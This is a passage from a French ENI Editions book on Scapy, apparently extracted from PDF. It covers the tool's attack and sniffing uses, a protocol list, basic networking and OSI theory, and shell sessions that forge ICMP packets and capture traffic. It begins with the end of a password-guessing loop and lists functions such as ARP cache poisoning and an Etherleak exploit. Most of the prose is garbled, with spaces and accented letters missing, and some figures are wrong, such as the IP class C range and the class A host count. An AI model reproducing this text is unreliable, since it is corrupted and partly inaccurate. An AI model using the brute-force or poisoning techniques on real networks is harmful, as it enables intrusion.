print "essai "+str(i)+ " : "+password+"\n"
file.write("Erreur %d: %s" % (e.args[0],
e.args[1]))
file.write("le password suivant nest pas le
bon :"+ password)
i=i+1
time.sleep(0.1)
file.close()

ENI Editions - All rights reserved - chantal gournier

- 9-

Introduction
Daprs la documentation officielle (man Scapy), Scapy est un puissant programme interactif de manipulation de
paquets.Ilpeutforgeroudcoderlespaquetsdungrandnombredeprotocoles,lesmettre,lescapturer,faire
correspondre desrequtesetdesrponsesetbienplusencore.Ilpermetlamanipulationdelaplupartdesoutils
descan,traceroute,desonde,detestsunitaires,dattaquesoudedcouvertederseau(ilremplacefacilement
hping,85 %denmap,arpspoof,arpsk,arping,tcpdump,tethereal,p0f,etc.).Ilsecomportegalementtrsbien
surungrandnombredetchesquungrandnombredeprogrammesnestpasenmesuredemanipuler,comme
envoyerdestramesinvalides,injectervosproprestrames802.11,combinerdestechniques(VLANhopping+ARP
cachepoisoning,VOIPdecodingsurcanalchiffrenWEP...),etc.
Philippe Biondi est lauteur de Scapy. Il est lauteur de nombreux logiciels, la plupart crits en langage Python.
Voustrouverezlensembledesespapiers,confrencesetlogicielssursonsite.
Scapyestunoutilmultiutilisation,cestun:

forgeurdepaquets

sniffeur

scanneur

outildetest(machine/serviceactif)

outildefingerprint

outildattaque(valeursnonprvuesdanslesprotocoles...)

Il peut remplacer de nombreux outils existants : ethereal/wireshark, tcpdump, dsniff, excalibur, ping, traceroute,
nmap,xprobe,ettercap...
Il ne possde pas de syntaxe complexe (flags retenir, liste de commandes rallonge...) mais il possde des
fonctionsdehautniveaudjimplmentes.
Scapynestpasddiunetchespcifique,deplusilestmodulaireetextensible.
Commetoutlogiciel,ilprsentedespointsfortsetdespointsfaibles.
Pointsforts

Langageinteractifdehautniveau.

Forgeetanalysedepaquetstrssimples.

Passelefirewalllocal.

Pointsfaibles

Nepeutpastraitertropdepaquetssimultanment(seservirdunoutilddipoura).

Fournitlesrsultatsbruts,nelesinterprtepas.

Supportpartieldecertainsprotocolescomplexes.

Nouspouvonsdsprsententrerdanslevifdusujet.

ENI Editions - All rights reserved - chantal gournier

- 1-

ProgrammationrseauavecScapy
1.Listedesprotocolessupports
Scapy va nous permettre de travailler sur de nombreux protocoles, vous trouverez cidessous, la liste des
protocolessupportsparScapy.
ARP:ARP
ASN1_Packet:None
BOOTP:BOOTP
CookedLinux?:cookedlinux
DHCP:DHCPoptions
DNS:DNS
DNSQR:DNSQuestionRecord
DNSRR:DNSResourceRecord
Dot11:802.11
Dot11ATIM:802.11ATIM
Dot11AssoReq:802.11AssociationRequest
Dot11AssoResp:802.11AssociationResponse
Dot11Auth:802.11Authentication
Dot11Beacon:802.11Beacon
Dot11Deauth:802.11Deauthentication
Dot11Disas:802.11Disassociation
Dot11Elt:802.11InformationElement
Dot11ProbeReq:802.11ProbeRequest
Dot11ProbeResp:802.11ProbeResponse
Dot11ReassoReq:802.11ReassociationRequest
Dot11ReassoResp:802.11ReassociationResponse
Dot11WEP:802.11WEPpacket
Dot1Q:802.1Q
Dot3:802.3
EAP:EAP
EAPOL:EAPOL
ENI Editions - All rights reserved - chantal gournier

- 1-

Ether:Ethernet
GPRS:GPRSdummy
GRE:GRE
HCI_ACL_Hdr:HCIACLheader
HCI_Hdr:HCIheader
HSRP:HSRP
ICMP:ICMP
ICMPerror:ICMPinICMP
IP:IP
IPerror:IPinICMP
IPv6:IPv6notimplementedhere.
ISAKMP:ISAKMP
ISAKMP_class:None
ISAKMP_payload:ISAKMPpayload
ISAKMP_payload_Hash:ISAKMPHash
ISAKMP_payload_ID:ISAKMPIdentification
ISAKMP_payload_KE:ISAKMPKeyExchange
ISAKMP_payload_Nonce:ISAKMPNonce
ISAKMP_payload_Proposal:IKEproposal
ISAKMP_payload_SA:ISAKMPSA
ISAKMP_payload_Transform:IKETransform
ISAKMP_payload_VendorID:ISAKMPVendorID
IrLAPCommand:IrDALinkAccessProtocolCommand
IrLAPHead:IrDALinkAccessProtocolHeader
IrLMP:IrDALinkManagementProtocol
L2CAP_CmdHdr:L2CAPcommandheader
L2CAP_CmdRej:L2CAPCommandRej
L2CAP_ConfReq:L2CAPConfReq
L2CAP_ConfResp:L2CAPConfResp
L2CAP_ConnReq:L2CAPConnReq

- 2-

ENI Editions - All rights reserved - chantal gournier

L2CAP_ConnResp:L2CAPConnResp
L2CAP_DisconnReq:L2CAPDisconnReq
L2CAP_DisconnResp:L2CAPDisconnResp
L2CAP_Hdr:L2CAPheader
L2CAP_InfoReq:L2CAPInfoReq
L2CAP_InfoResp:L2CAPInfoResp
LLC:LLC
MGCP:MGCP
MobileIP:MobileIP(RFC3344)
MobileIPRRP:MobileIPRegistrationReply(RFC3344)
MobileIPRRQ:MobileIPRegistrationRequest(RFC3344)
MobileIPTunnelData:MobileIPTunnelDataMessage(RFC3519)
NBNSNodeStatusResponse:NBNSNodeStatusResponse
NBNSNodeStatusResponseEnd:NBNSNodeStatusResponse
NBNSNodeStatusResponseService:NBNSNodeStatusResponseService
NBNSQueryRequest:NBNSqueryrequest
NBNSQueryResponse:NBNSqueryresponse
NBNSQueryResponseNegative:NBNSqueryresponse(negative)
NBNSRequest:NBNSrequest
NBNSWackResponse:NBNSWaitforAcknowledgementResponse
NBTDatagram:NBTDatagramPacket
NBTSession:NBTSessionPacket
NTP:NTP
NetBIOS_DS:NetBIOSdatagramservice
NetflowHeader?:NetflowHeader
NetflowHeaderV1:NetflowHeaderV1
NetflowRecordV1:NetflowRecord
NoPayload?:None
PPP:PPPLinkLayer
PPPoE:PPPoverEthernet

ENI Editions - All rights reserved - chantal gournier

- 3-

PPPoED:PPPoverEthernetDiscovery
Packet:None
Padding:Padding
PrismHeader?:Prismheader
RIP:RIPheader
RIPEntry:RIPentry
Radius:Radius
Raw:Raw
SMBMailSlot:SMBMailSlotProtocol
SMBNegociate_Protocol_Request_Header:SMBNegociateProtocolRequestHeader
SMBNegociate_Protocol_Request_Tail:SMBNegociateProtocolRequestTail
SMBNegociate_Protocol_Response_Advanced_Security:SMBNegociateProtocolResponseAdvancedSecurity
SMBNegociate_Protocol_Response_No_Security:SMBNegociateProtocolResponseNoSecurity
SMBNegociate_Protocol_Response_No_Security_No_Key:None
SMBNetlogon_Protocol_Response_Header:SMBNetlogonProtocolResponseHeader
SMBNetlogon_Protocol_Response_Tail_LM20:SMBNetlogonProtocolResponse TailLM20
SMBNetlogon_Protocol_Response_Tail_SAM:SMBNetlogonProtocolResponse TailSAM
SMBSession_Setup_AndX_Request:SessionSetupAndXRequest
SMBSession_Setup_AndX_Response:SessionSetupAndXResponse
SNAP:SNAP
SNMP:None
SNMPbulk:None
SNMPget:None
SNMPinform:None
SNMPnext:None
SNMPresponse:None
SNMPset:None
SNMPtrapv1:None
SNMPtrapv2:None
SNMPvarbind:None

- 4-

ENI Editions - All rights reserved - chantal gournier

STP:SpanningTreeProtocol
SebekHead?:Sebekheader
SebekV1:Sebekv1
SebekV2:Sebekv2
SebekV2Sock:Sebekv2socket
SebekV3:Sebekv3
SebekV3Sock:Sebekv2socket
Skinny:Skinny
TCP:TCP
TCPerror:TCPinICMP
UDP:UDP
UDPerror:UDPinICMP
_IPv6OptionHeader:IPv6notimplementedhere.
Nousnepourronsbiensrpastudiertouscesprotocoles,ilfaudraitunlivreentier.Nousnenousintresserons
quauxprotocolesutilesenscuritinformatique.

2.Quelquesnotionssurlesrseaux
Avant dattaquer en profondeur lutilisation de Scapy, il nous faut avoir en tte les notions ncessaires sur les
protocolesrseauetlemodleOSIpourlacomprhensiondelasuitedecechapitre.
CeuxquiontlesconnaissancesncessairespeuventpasserlasectionManipulationsbasiques.

a.Topologiedesrseaux
Latopologieenbus
Cestuneanciennetopologieaujourdhuipeuutilise.Elleconsisterelierchaqueordinateurunbus,souvent
parlintermdiairedecblescoaxiaux.Elleaparcontredenombreuxdfauts:

Unelenteurassezimportante.
Une vulnrabilit importante en cas de panne. En effet, si un cble est en panne, le rseau ne
fonctionneplus.

Latopologieentoile
Cestlatopologielaplusutiliseaujourdhui.Elleconsisterelierchaqueordinateur unhubouunswitchpar
lintermdiaireduncble(RJ45leplussouvent).Cestunrseaudisposantdebonnescapacitsetaveclequel,
siuncblereliantunordinateurauhublche,lerseaunestpasparalys.
Sonseulvraidfautestsoncotpluslevquelerseauavectopologieenbus.Pourlereste,ellenoffreque
desavantages.

ENI Editions - All rights reserved - chantal gournier

- 5-

Latopologieenanneau
Elleconsistedonner"laparole"chaqueordinateurreliauMAU(MultistationAccessUnit)etdchangerdes
informations.

b.Lesdiffrentstypesderseaux
LesLAN
LesrseauxLAN(LocalAreaNetwork)sontlesrseauxlocaux.Lesordinateurssontrelisparlintermdiairede
cblesdansunepetitezonegographique(onfaitgnralementappellatechnologieEthernetpourrelierles
PC).
UnrseaulocalestdoncunregroupementdePCprocheslesunsdesautres,relisaurseau(soitavecdesfils,
etdanscecas,onfaitsouventappellatechnologie Ethernetquipermetdemonterplusde100Mbitspar
secondeet1GbitpourleGigaEthernet,soitsansfilavecdestechnologiescommeleWiFi).

LesMAN
Les MAN (Metropolitan Area Network)permettentdeconnecterplusieursLANprochesentreelles.Pourlesrelier
entreelles,onfaitappeldesrouteursetdescblesdefibreoptiquepermettantdesaccstrshautdbit.

LesWAN
LesWAN(WideAreaNetwork,quisignifierseautendu)permettentdeconnecterplusieursLANloignesentre
elles.Ledbitdevientdeplusenplusfaibleenfonctiondeladistance.
InternetestunregroupementdeWAN.

c.Questcequunprotocole?
Un protocole est une srie dtapes suivre pour permettre une communication harmonieuse entre plusieurs
ordinateurs.
Internet est un ensemble de protocoles regroups sous le terme TCPIP (Transmission Control Protocol/Internet
Protocol).Voiciunelistenonexhaustivedesdiffrentsprotocolesquipeuventtreutiliss:

HTTP(HypertextTransferProtocol):cestceluiquelonutilisepourconsulterlespagesweb.

FTP(FileTransferProtocol):cestunprotocoleutilispourtransfrerdesfichiers.

SMTP(SimpleMailTransferProtocol):cestleprotocoleutilispourenvoyerdesmails.

POP(PostOfficeProtocol):cestleprotocoleutilispourrecevoirdesmails.

Telnet:utilissurtoutpourcommanderdesapplicationsctserveurenlignesdecommande.

IP(InternetProtocol):ladresseIPvousestattribuelorsdevotreconnexionunserveur.

Lesprotocolessontclasssendeuxcatgories:

Les protocoles o les machines senvoient des accuss de rception (pour permettre une gestion des
erreurs).Cesontlesprotocoles"orientsconnexion".
Lesautresprotocolesquinavertissentpaslamachinequivarecevoirlesdonnessontlesprotocoles
"nonorientsconnexion".

d.AdresseIP

- 6-

ENI Editions - All rights reserved - chantal gournier

UneadresseIPestunnumrounique.Cenumroestuniquecarilpermetunordinateurconnectunrseau
utilisantleprotocoleTCP/IPdelidentifier.
UneadresseIPestunnombrede32bitscomposde4numrosallantde0255(4numrosde8bits,saufle
derniernumroquinepeutexcder254)sparspardespoints.
ExempleduneadresseIP:127.0.0.1
UneadresseIPestcomposededeuxpartiesdistinctes:

UnepartieappelenetIDsituegauche,elledsignelerseaucontenantlesordinateurs.

UneautrepartieappelehostIDdsignantlesordinateursdecerseau.

e.Lesclasses
Plus ladresse rseau est courte (occupe le moins de chiffres), plus le rseau pourra contenir dordinateurs. Il
existedonc3classesderseaunotesA,BetCquisediffrencientparlenombredoctetsdsignantlerseau.

ClasseA
DansuneadresseIPdeclasseA,ladresserseauestdsigneparlepremieroctet quidoittredunevaleur
infrieure 128. Le rseau 0 uniquement nexiste pas, et le rseau 127 dsigne votre ordinateur. La plage
utilisableestcompriseentre1.0.0.0et126.0.0.0.
Cerseaupeutcontenir16646144ordinateurs.

ClasseB
DansuneadresseIPdeclasseB,ladresserseauestdsigneparlesdeuxpremiersoctets.Laplageutilisable
estcompriseentre128.0.0.0et191.255.0.0.
Cerseaupeutcontenir65024ordinateurs.

ClasseC
DansuneadresseIPdeclasseC,ladresserseauestdsigneparlestroispremiersoctets.Laplageutilisable
estcompriseentre192.0.0.0et233.255.255.0.
Cerseaupeutcontenir254ordinateurs.

f.Lemasquedesousrseau
Lorsquonconfigureunrseau,onparlesouventdemasquedesousrseau.Celuicisertindiquerlacapacit
dunordinateurcommuniqueravecunautredunmmerseauoupas.Enfonctiondumasque,desrestrictions
daccs sont appliques, et les ordinateurs ne pourront pas communiquer, donc ne se verront pas dans les
favorisrseau.
Le masque de sousrseau 255.255.255.0 va permettre aux ordinateurs dots dune adresse IP ayant les 3
premiersoctetsidentiquesdecommuniquerensemble.
Lordinateur ayant lIP 192.168.10.1 pourra communiquer avec lautre ordinateur ayant une IP telle que
192.168.0.2,maispas192.169.10.2.

g.LemodleOSI

ENI Editions - All rights reserved - chantal gournier

- 7-

LemodleOSI(OpenSystemInterconnectionModel)dfinien1977rgitlacommunication entredeuxsystmes
informatiquesselon7niveaux.chaqueniveau,lesdeuxsystmesdoiventcommuniquerdefaoncompatible.
Enmatrielrseau,nousnutilisonsquelescouchesinfrieures,jusquauniveau 3.Cesniveauxsontgalement
appelscouches.
LOSIestunmodledebasenormalisparlInternationalStandardOrganization(ISO).

LacoucheAPPLICATION
LacoucheAPPLICATION(APPLICATIONLAYER)jouelerleduneinterfacedaccsdesapplicationsaurseau.La
coucheAPPLICATIONconcernelesapplicationsrseauquitournentsurunposte(TELNET,FTP...)etcorrespond
linterfacedelutilisateur.
LesfonctionsdelacoucheAPPLICATIONsontlessuivantes:

Lagestiondesapplicationsrseau.

Lesutilitairesdetransfertdefichiers.

Leslogicielsdaccsauxbasesdedonnes.

Lamessagerielectronique.

Laccsaurseau.

Lecontrledufluxetlacorrectiondeserreurs.

LacouchePRSENTATION
LacouchePRSENTATION(PRESENTATIONLAYER)dtermineleformatutilispourlchangedesdonnesentre
lesordinateursdurseau.
LesfonctionsdelacouchePRSENTATIONsontlessuivantes:

- 8-

ENI Editions - All rights reserved - chantal gournier

LaconversionduformatissudelacoucheAPPLICATIONenunformatstandard.

Laconversiondesprotocoles.

Latraductionetlencodagedesdonnes.

Laconversiondujeudecaractres.

Lexcutiondescommandesgraphiques.

Lacompressionouladcompressiondesdonnes.

Un utilitaire appel redirecteur (REDIRECTOR) opre sur la couche PRSENTATION et permet de rediriger les
oprationsdentre/sortieverslesressources dunserveur.
LacouchePRSENTATIONpermetparexempledafficherdesdonnesUNIXsuruncranMSDOS.

LacoucheSESSION
LacoucheSESSION(SESSIONLAYER)grelaconnexionentredeuxordinateursdurseau.
LesfonctionsdelacoucheSESSIONsontlessuivantes:

Louvertureetlafermetureduneconnexion(dunesession).

Lareconnaissancedesnoms.

Lasynchronisationdestchesutilisateurlaidedepointsdecontrle.

Le contrle du dialogue entre les processus communicants (qui transmet qui, quel moment, pour
combiendetemps...).

LacoucheTRANSPORT
La couche TRANSPORT (TRANSPORT LAYER) sassure que les paquets ont t reus dans lordre, sans erreurs,
sanspertes,niduplication.LacoucheTRANSPORTgrelempaquetageetlerassemblagedespaquetsainsique
lecontrleetlacorrectiondeserreurs.
LesfonctionsdelacoucheTRANSPORTsontlessuivantes:

Ladivisiondesmessageslongsenplusieurspaquets.

Lecontrledelatailledespaquets.

Leregroupementdesmessagescourtsenunseulpaquet.

Lerassemblementdespaquetsenunseulmessage.

Lextractionetlareconstitutiondumessagedorigine.

Lenvoietlarceptiondunaccusderception.

Lecontrledufluxetlacorrectiondeserreursdanslareconstitutiondespaquets.

LacoucheRSEAU
La couche RSEAU (NETWORK LAYER) se charge de ladressage des messages. La couche RSEAU fournit un
schmadadressage.LacoucheRSEAU traduitlesadresseslogiques(lesadressesIP)enadressesphysiques
(lesadressesMACdescartesrseau).
LesfonctionsdelacoucheRSEAUsontlessuivantes:

Latraductiondesadressesetdesnomslogiquesenadressesphysiques.
ENI Editions - All rights reserved - chantal gournier

- 9-

Leroutagedesmessagesenfonctiondeleurprioritetdeltatdurseau.

Lagestiondutraficsurlerseau.

Lacommutationdepaquets.

Lecontrledelencombrementdesmessagessurlerseau.

Le dcoupage ou le rassemblage des messages en fonction de la capacit de la carte rseau (et de


celledesoncorrespondant).

LacoucheLIAISON
LacoucheLIAISON(DATALINKLAYER)greletransfertdestrames.Unetrame(souventsynonymedepaquet)
estunestructurelogiqueetorganisedanslaquellesontplaceslesdonnes.
La structure dune trame (dun paquet) est toujours la mme. La trame est constitue de plusieurs lments
dansunordreprcis:

Lentte:

Numrodidentificationdudestinataire.

Numrodidentificationdelexpditeur.

Lecorps :

Desinformationsdecontrlepourladtectiondutypedetrame,leroutageetlasegmentationdes
donnes.

Lesdonnes.

Laqueue:

Des informations CRC (Cyclical Redundancy Check) pour la correction et la vrification des erreurs
danslatransmissiondunpaquet.

LesfonctionsdelacoucheLIAISONsontlessuivantes:

LaprparationdestramespourlacouchePHYSIQUE.

Lafabricationdestramesenfonctiondelamthodedaccsaurseau.

Ladivisiondesmessagesentramesdebitsbrutsouleurregroupement.

LecontrleCRCdeserreursdanslatransmissiondunpaquet.

Lenvoietlarceptiondunaccusderceptionpourchaquetrame,sanslequel latrameestrexpdie.

LacouchePHYSIQUE
La couche PHYSIQUE (PHYSICAL LAYER) transmet des flux de bits bruts sur le support de communication. La
couchePHYSIQUEestenrelationdirecteaveclacarterseau.
LesfonctionsdelacouchePHYSIQUEsontlessuivantes:

- 10 -

Lagestiondubranchementausupport.

Lebranchementducblelacarterseau.

Ladfinitiondunombredebrochesduconnecteur.

Lafonctiondechacunedesbrochesduconnecteur.

ENI Editions - All rights reserved - chantal gournier

Lagestiondessignaux,lectriques,optiques,mcaniques.

Lencodageetlasynchronisationdufluxdebits.

Laduredechaquebit,lescaractristiquesdelimpulsionlectriqueouoptique.

Lamthodedaccsdesbitssurlesupportdecommunication.

Lenvoidestramessurlerseau.

Voicipouruntourdhorizondurseau,certestrssuccinctmaisncessaire.
Pourapprofondirvosconnaissances,sivousenavezbesoin,lesditionsENIproposentdesouvragescomplets
etpdagogiquessurlesrseaux,quilssoientfilairesousansfil.

3.Manipulationsbasiques
a.Commandesdebase
Scapysupporteprsde300protocolesrseau.Nouspouvonsenavoiruneideenlanantlacommande ls()
dansleshellScapy.

fasm@moya:~/ENI_livre_formation/livre_python$ Scapy
INFO: Cant import python gnuplot wrapper . Wont be able to plot.
INFO: Cant import PyX. Wont be able to use psdump() or
pdfdump().
WARNING: No route found for IPv6 destination :: (no default
route?)
Welcome to Scapy (2.1.0)
>>> ls()
ARP
: ARP
ASN1_Packet : None
BOOTP
: BOOTP
CookedLinux : cooked linux
DHCP
: DHCP options
DHCP6
: DHCPv6 Generic Message)
DHCP6OptAuth : DHCP6 Option - Authentication
DHCP6OptBCMCSDomains : DHCP6 Option - BCMCS Domain Name List
DHCP6OptBCMCSServers : DHCP6 Option - BCMCS Addresses List
DHCP6OptClientFQDN : DHCP6 Option - Client FQDN
DHCP6OptClientId : DHCP6 Client Identifier Option
DHCP6OptDNSDomains : DHCP6 Option - Domain Search List option
DHCP6OptDNSServers : DHCP6 Option - DNS Recursive Name Server
DHCP6OptElapsedTime : DHCP6 Elapsed Time Option
DHCP6OptGeoConf :
DHCP6OptIAAddress : DHCP6 IA Address Option (IA_TA or IA_NA
suboption)
DHCP6OptIAPrefix : DHCP6 Option - IA_PD Prefix option
DHCP6OptIA_NA : DHCP6 Identity Association for Non-temporary
Addresses Option
DHCP6OptIA_PD : DHCP6 Option - Identity Association for Prefix
Delegation
DHCP6OptIA_TA : DHCP6 Identity Association for Temporary Addresses
Option
DHCP6OptIfaceId : DHCP6 Interface-Id Option
DHCP6OptInfoRefreshTime : DHCP6 Option - Information Refresh Time
DHCP6OptNISDomain : DHCP6 Option - NIS Domain Name
DHCP6OptNISPDomain : DHCP6 Option - NIS+ Domain Name

Nouspouvonsutiliserlacommandelsc()pourconnatrelescommandesdebase.

>>> lsc()

ENI Editions - All rights reserved - chantal gournier

- 11 -

arpcachepoison
arping
bind_layers
corrupt_bits
corrupt_bytes
defrag
defragment
dyndns_add
dyndns_del
etherleak
fragment
fuzz

getmacbyip
hexdiff
hexdump
hexedit
is_promisc
linehexdump
ls
promiscping
rdpcap
send
sendp
sendpfast
sniff
split_layers
sr
sr1
srbt
srbt1
srflood

: Poison targets cache with (your


MAC,victims IP) couple
: Send ARP who-has requests to determine
which hosts are up
: Bind 2 layers on some specific fields
values
: Flip a given percentage or number of bits
from a string
: Corrupt a given percentage or number of
bytes from a string
: defrag(plist) -> ([not fragmented],
[defragmented],
: defrag(plist) -> plist defragmented as
much as possible
: Send a DNS add message to a nameserver for
"name" to have a new "rdata"
: Send a DNS delete message to a nameserver
for "name"
: Exploit Etherleak flaw
: Fragment a big IP datagram
: Transform a layer into a fuzzy layer by
replacing some default values by random
objects
: Return MAC address corresponding to a
given IP address
: Show differences between 2 binary strings
: -: -: Try to guess if target is in Promisc mode.
The target is provided by its ip.
: -: List available layers, or infos on a
given layer
: Send ARP who-has requests to determine
which hosts are in promiscuous mode
: Read a pcap file and return a packet list
: Send packets at layer 3
: Send packets at layer 2
: Send packets at layer 2 using tcpreplay
for performance
: Sniff packets
: Split 2 layers previously bound
: Send and receive packets at layer 3
: Send packets at layer 3 and return only
the first answer
: send and receive using a bluetooth socket
: send and receive 1 packet using a
bluetooth socket
: Flood and receive packets at layer 3

Ilestpossibledobteniruneaidesurchaquefonctionainsiquelalistedesmthodesutilisesparcellesci.Les
deuxcommandessonthelp()etdir().

>>> help(fuzz)
Help on function fuzz in module scapy.packet:
fuzz(p, _inplace=0)
Transform a layer into a fuzzy layer by replacing some default
values by random objects
(END)
>>> dir(IP)
[__class__, __contains__, __delattr__, __delitem__,
__dict__, __div__, __doc__, __eq__, __format__,
__getattr__, __getattribute__, __getitem__, __gt__,
__hash__, __init__, __iter__, __len__, __lt__,
__metaclass__, __module__, __mul__, __ne__, __new__,
__nonzero__, __rdiv__, __reduce__, __reduce_ex__,

- 12 -

ENI Editions - All rights reserved - chantal gournier

__repr__, __rmul__, __setattr__, __setitem__,


__sizeof__, __str__, __subclasshook__, __weakref__,
_do_summary, add_payload, add_underlayer, aliastypes,
answers, build, build_done, build_payload, build_ps,
canvas_dump, clone_with, command, copy,
decode_payload_as, default_payload_class, delfieldval,
display, dissect, dissection_done, do_build,
do_build_ps, do_dissect, do_dissect_payload,
do_init_fields, explicit, extract_padding, fields_desc,
firstlayer, fragment, from_hexcap, get_field,
getfield_and_val, getfieldval, getlayer,
guess_payload_class, hashret, haslayer, hide_defaults,
hops, init_fields, initialized, lastlayer, libnet,
lower_bonds, mysummary, name, ottl, overload_fields,
payload_guess, pdfdump, post_build, post_dissect,
post_dissection, pre_dissect, psdump, remove_payload,
remove_underlayer, route, send, setfieldval, show,
show2, show_indent, sprintf, summary, underlayer,
upper_bonds, whois]
>>>

b.Fabricationdepaquets
Ilnestpasncessairederemplirtousleschamps,carilexistedesvaleurspardfaut.Deplus,Scapyvaempiler
naturellementlescouchesrseaudesplusbassesauxpluslevesetlarsolutionDNSestautomatique.

>>> ls(ICMP)
type
: ByteEnumField
= (8)
code
: MultiEnumField
= (0)
chksum
: XShortField
= (None)
id
: ConditionalField
= (0)
seq
: ConditionalField
= (0)
ts_ori
: ConditionalField
= (39474514)
ts_rx
: ConditionalField
= (39474514)
ts_tx
: ConditionalField
= (39474514)
gw
: ConditionalField
= (0.0.0.0)
ptr
: ConditionalField
= (0)
reserved
: ConditionalField
= (0)
addr_mask : ConditionalField
= (0.0.0.0)
unused
: ConditionalField
= (0)
>>> p=IP(dst="www.google.fr")/ICMP()
>>> p.summary()
"IP / ICMP 195.221.189.155 > Net(www.google.fr) echo-request 0"
>>>

Enutilisantlels()surICMP,nousdcouvronslesvaleursdechaquelmentdelICMPquipournotrecassont
valablespardfaut.
Nouspouvonsensuiteindiquerlacible,iciwww.google.fr,quenousvoulonstesteretcegrce IP()auquel
nousindiquonsladresseweb.

p.summary()nouspermetdesavoircommentnousavonsforgnotrepaquet.
Mais,pourlinstant,nousnavonspaslancnotrerequtelaidedelacommande

send().

>>> send(p)
.
Sent 1 packets.
>>> q=sr1(p)
Begin emission:
..Finished to send 1 packets.
*
Received 3 packets, got 1 answers, remaining 0 packets
ENI Editions - All rights reserved - chantal gournier

- 13 -

>>> q.summary()
IP / ICMP 173.194.34.24 > 195.221.189.155 echo-reply 0 / Padding
>>> q
<IP version=4L ihl=5L tos=0x0 len=28 id=56167 flags= frag=0L
ttl=54 proto=icmp chksum=0x5826 src=173.194.34.24
dst=195.221.189.155 options=[] |<ICMP type=echo-reply code=0
chksum=0x0 id=0x0 seq=0x0 |<Padding load=\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00 |>>>
>>>

Nousvoyonsquelepaquetabientenvoy.
CettefonctionScapysr1()quipermetdenvoyeretderecevoirunpaquetesttrspratiqueetnouspouvonsen
voirlersultatenutilisantsummary().
Nous pouvons modifier comme nous le voulons toutes les valeurs par dfaut des fonctions : les changer, les
effacer

>>> q.haslayer(TCP)
0
>>> q.haslayer(IP)
1
>>> q[IP].src
173.194.34.24
>>> q[IP].ttl=255
>>> del q[IP].chksum
>>> q
<IP version=4L ihl=5L tos=0x0 len=28 id=56167 flags= frag=0L
ttl=255 proto=icmp src=173.194.34.24 dst=195.221.189.155
options=[] |<ICMP type=echo-reply code=0 chksum=0x0 id=0x0
seq=0x0 |<Padding load=\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00 |>>>
>>>

Danslexemplecidessus,nousregardonsdabordsiqaunecoucheTCPpuisIP.
Nous voyons que la premire commande retourne la valeur 0 (pas de TCP) et la deuxime la valeur 1. Nous
regardonsensuitelIPsourcepourchangerlavaleurduTTLetsupprimercelleduchecksum.

c.Lesentressorties
Scapy va nous permettre de faire des captures de paquets, de sauvegarder ces captures, de charger les
paquets,deconvertirlespaquets...
Nousallonsvoirparlexemplecesdiffrentescommandes :

>>> lp=sniff(count=50)
>>> lp
<Sniffed: TCP:20 UDP:6 ICMP:0 Other:24>
>>> wrpcap("capture_eni.pcap",lp)
>>> del lp
>>> lp=rdpcap("capture_eni.pcap")
>>> lp
<capture_eni.pcap: TCP:20 UDP:6 ICMP:0 Other:24>
>>> str(lp[0])
\x00&\xb9\xeboh\x00\x0b\xcd\xb1$3\x08\x00E\x00\x05\xdc\xd4\x9c@\x
00\xf1\x063\xb6E?\xb5\x10\xc3\xdd\xbd\x9b\x01\xbb\xa9\xaef\xefoff\
xd5\x17Q\x80\x18\x16\xbb\xa77\x00\x00\x01\x01\x08\nC\x07O2\x00\xe1
Fm\x17\x03\x01\x05\xb8Y2Y\xee1\xbe\xd1tz\xbd(g
=\x04Mu\xd7\xa1(u\x96\xa1\xe1\x88\x9f.\xd0Jb\xc8\x10\xc3\x8c\x88x\
xb3\xad\xd9\x7fM\xb3c\xeb\xaa&\x08\x9aP\xa5\xff{;~\r\xda\x11t\x07\

- 14 -

ENI Editions - All rights reserved - chantal gournier

x9a\xb8\xec\xe9\x8a\xa1\x8fu\xfb\x080c\xc3\xf3hK\xae\x01\x05\xfb\x
96\xb2\x04l\xf2\xbb\xeb\x04\xf44\r:\x8c\x1a[3\x17\x1aa\xa1\\\x0f\x
d1I\r\xb64\x18\xdbQ\xc7}%X\x14
\x99\x86\xff\x7f\x17\x12Wl\xeejY*\xaaf\x8c\xad\x8d\xb7X\x07\x16Y\x
e3\xe7\xe4\xb6\xa9Xs\xc1\xb4;}Jrj\xc8\xef1\x90\xbe1\x82\x0c\xc3g$N
R\x95\x95\xc2\xec\x88\xa1o\xabW\xe5\x84s\x05\xa7\xb2\x1a\xed\xc6)\
xa0\xeci\x88\xe8d\rq+\x97\xc56\xf16\xaa\xd9\xf8\xc0\x86w/\x0er$7U\
xee\xa7\x16|\x08\xc6\xd1\x19d\x18\xbb\x11\xaa\x0b\xd0\xc8\x05Z5a\x
e9\x17\xd4\x92\xc3\xc0\xb9\xe9\xa4\t\x03\xa7\x7f\xe5\xa2\x06H\xcdJ
#\xe1\xcc\xfb\\xad\xde\x8aY\xbf>J\x96\x1cH\x1am\x08\xdf-L\x14o\xc2\xe1do\xfc\x81T8`p\x03\xfbpn\xbdZ3\x14\xa0\xe8\xf6\xd4"5
\xfd"\xd3\xd7L\x93\xff\x85\x16\xd6\xe7\x92\x01\xc3\xc2\x99\x0cw\xc
8X\x93\xc1\x82j0\x1dcB\xdf\xf4\x83\x1a\xfc\x17J\x02\xc0,\xe7j\xd6\
xc4a\t\x9f0ybot
N\xc6\xf0}P\xd9}\x8c\x1eB\x8e\xa0\xd4\x1c-\xe9\xaa\xc5\c\x8c\x07\
xc2\xf9\xb3\xe4w!\xe8\xe490\xd1\x9f\xa1\xa3\xad\xc1d\xa0\x17s\xd2\
t\xf5\xc2\xaa\xecrG\x7f\xe7\x8f#\xe7\x9d\xf1Ds1|
s\xb5\x0fR\x11\xaf\x97\x17`\xce;\x12\xb1R\x18\n\xe5u\xef=TOr\x03Y\
xf6\xa9\x19\xa19\x98YK\xd3\\xf9=\xb3\xe6A\xff\xffv\xffprk\x19OE\x
a4~sKwJL7\xc0.\xd1\xff\xb1TK\xce\xda!
n;-\xe1W\xe5\xac\x15.\xcaR\x91\xeb\xd2\xfcB\xfcQTu\xbd\x92\xe6D\x8
c\x15\nM>\x9e\xad\xba%\x8d\xb5+\xce]\xe6\xe6\xabT
%\xb8\x95\x0e$\xe8s\xd2\xb5\xdd\xb8`\x1b\x8a\x8a\xc8\xef4\xe4\x9ej
\xc1\x024\xa0<\xa1M)\xd3\xd9o\xe6\xc3\xf61Y\x9f\xedp\x91\xa5\xe0\x
01\xea\xbb\x85\xf2\xffi/\xde[\xf8T\x04*\xae!\x07d\xc16\x96\xdbsC6\
xcbD\xdek\x9637S\x184\x99M\xe9\xff\x12\x8e\xc9v2\r\xa49-\xb9\x02\x
